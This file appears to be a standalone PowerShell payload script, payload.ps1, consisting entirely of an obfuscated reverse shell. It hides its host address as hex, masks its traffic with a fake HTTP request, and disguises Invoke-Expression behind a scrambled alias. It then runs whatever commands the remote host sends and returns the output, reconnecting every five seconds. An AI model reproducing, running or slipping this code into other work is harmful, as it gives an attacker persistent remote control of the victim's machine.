payload.ps1

while ($true) {
    $px = "c0","a8","38","1"
    $p = ($px | ForEach { [convert]::ToInt32($_,16) }) -join '.'
    $w = "GET /index.html HTTP/1.1`r`nHost: $p`r`nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n"
    $s = [System.Text.ASCIIEncoding]
    [byte[]]$b = 0..65535|%{0}
    $x = "n-eiorvsxpk5"
    Set-alias $x ($x[$true-10] + ($x[[byte]("0x" + "FF") - 265]) + $x[[byte]("0x" + "9a") - 158])
    $y = New-Object System.Net.Sockets.TCPClient($p,80)
    $z = $y.GetStream()
    $d = $s::UTF8.GetBytes($w)
    $z.Write($d, 0, $d.Length)
    $t = (n-eiorvsxpk5 whoami) + "$ "
    while(($l = $z.Read($b, 0, $b.Length)) -ne 0){
        $v = (New-Object -TypeName $s).GetString($b,0, $l)        
        $d = $s::UTF8.GetBytes((n-eiorvsxpk5 $v 2>&1 | Out-String )) + $s::UTF8.GetBytes($t)
        $z.Write($d, 0, $d.Length)
    }
    $y.Close()
    Start-Sleep -Seconds 5
}